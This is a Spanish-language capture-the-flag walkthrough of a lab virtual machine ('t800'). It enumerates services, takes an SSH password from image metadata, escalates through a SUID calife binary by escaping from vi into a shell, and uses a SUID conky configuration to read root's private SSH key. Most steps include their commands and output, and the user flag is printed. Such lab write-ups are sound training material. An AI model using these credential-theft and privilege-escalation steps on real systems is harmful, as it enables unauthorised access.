Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-25 11:15 EDT
Nmap scan report for 192.168.28.22
Host is up (0.00086s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
800/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 b6:be:5a:0b:ec:0b:53:69:b6:7b:54:46:7d:40:56:75 (RSA)
| 256 a3:3c:a5:67:ba:42:94:04:49:47:24:30:63:91:ef:c3 (ECDSA)
|_ 256 b2:75:86:d8:45:99:9a:9d:89:10:41:9a:d0:03:6c:a8 (ED25519)
MAC Address: 08:00:27:40:81:57 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.62 seconds
Veremos que hay un puerto 80 en el que esta alojada una pagina web, vamos a ver que contiene, si entramos dentro veremos una imagen de un señor, pero poco mas, por lo que vamos a realizar un poco de fuzzing:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.28.22/sexy/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: jpeg
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/nudeslut.jpeg (Status: 200) [Size: 11863]
Veremos que nos ha encontrado una imagen, por lo que vamos a ver que contiene:
curl -O http://<IP>/sexy/nudeslut.jpeg
Si la abrimos veremos una imagen del mismo hombre pero con otra pose, por lo que vamos a ver si a nivel de metadatos vemos algo interesante:
exiftool
exiftool nudeslut.jpeg
Info:
ExifTool Version Number : 13.10
File Name : nudeslut.jpeg
Directory : .
File Size : 12 kB
File Modification Date/Time : 2025:04:25 11:09:41-04:00
File Access Date/Time : 2025:04:25 11:09:41-04:00
File Inode Change Date/Time : 2025:04:25 11:09:41-04:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : passwd:chmodxheart
Image Width : 275
Image Height : 183
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 275x183
Megapixels : 0.050
Veremos algo muy interesante en los metadatos y es que hay unas credenciales en ellos, por lo que vamos a probarlo con el servidor SSH de la siguiente forma:
SSH
Si miramos en la pagina principal el codigo veremos esta parte del codigo en HTML:
<!-- Im ruut-->
Vemos lo que parece ser un nombre de usuario, por lo que vamos a probarlo por SSH.
ssh ruut@<IP> -p 800
Metemos como contraseña chmodxheart y veremos que estamos dentro.
Info:
The authenticity of host '[192.168.28.22]:800 ([192.168.28.22]:800)' can't be established.
ED25519 key fingerprint is SHA256:NQDCK+YQrbsHYi1VtpjQA0dziHvQ5rqh5HTcD1GL/lo.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.28.22]:800' (ED25519) to the list of known hosts.
ruut@192.168.28.22's password:
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 8 08:20:55 2021 from 192.168.1.58
ruut@t800:~$ whoami
ruut
Escalate user superruut
Si listamos los permisos SUID veremos lo siguiente:
Veremos que esos binarios no suelen ser muy comunes, por lo que vamos a investigar a ver que hacen:
En el binarioconky no veremos gran cosa, pero si buscamos con calife veremos lo siguiente:
Vemos que si ejecutamos el binario junto con el nombre de un usuario podremos obtener una shell de dicho usuario, vamos a probar con root:
Tambien lo podemos descubrir por que si intentamos obtener la ayuda del binario veremos lo siguiente:
Unknown user --help.
Nos indica que no es un usuario valido por lo que vamos a intentar con root:
/usr/bin/calife root
Metemos como contraseña chmodxheart pero no nos dejara, por lo que vamos a probar con el otro usuario llamado superruut:
/usr/bin/calife superruut
Metemos como contraseña chmodxheart y nos llevara a un editor de texto vi por lo que vamos aprobechar eso enviando un comando para obtener una shell de la siguiente forma:
:set shell=/bin/bash
:shell
Info:
superruut@t800:/etc$ whoami
superruut
Con esto veremos que seremos dicho usuario, por lo que leeremos la flag del usuario:
userflag.txt
ruutrulezhmv
Escalate Privileges
Como antes hemos visto tenemos con permisos SUID el binarioconky por lo que vamos a investigar sobre el.
Si investigamos veremos que desde los archivos de configuracion si el out_to_console esta en True podremos exfiltrar informacion que nosotros modifiquemos dentro de dicho archivo, por lo que podremos hacer lo siguiente:
Primero vamos a ver donde se encuentra el archivo de configuracion:
Por lo que vemos la opcion que necesitamos esta desactivada, por lo que vamos a crear un archivo de configuracion en nuestra /home de la siguiente forma:
nano /home/superruut/conky.conf
#Dentro del nano
conky.config = {
out_to_console = true, # <--------- Modificamos esta parte de aqui
out_to_x = false,
}
conky.text = [[
${tail /root/.ssh/id_rsa 30} # Añadimos esto de aqui para poder leer la id_rsa de root (Si existiera)
]]
Vamos a ver si con esto funciona, ahora ejecutamos el binario para probarlo:
Veremos que ha funcionado de forma correcta, por lo que haremos lo siguiente:
Maquina Host
nano id_rsa
#Dentro del nano
<ID_RSA_ROOT>
Lo guardamos y establecemos los permisos necesarios:
chmod 600 id_rsa
Ahora vamos a conectarnos mediante la clave PEM de la siguiente forma:
ssh -i id_rsa root@<IP> -p 800
Info:
Linux t800 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Apr 8 08:18:02 2021
root@t800:~# whoami
root
Con esto ya seremos root por lo que leeremos la flag de root: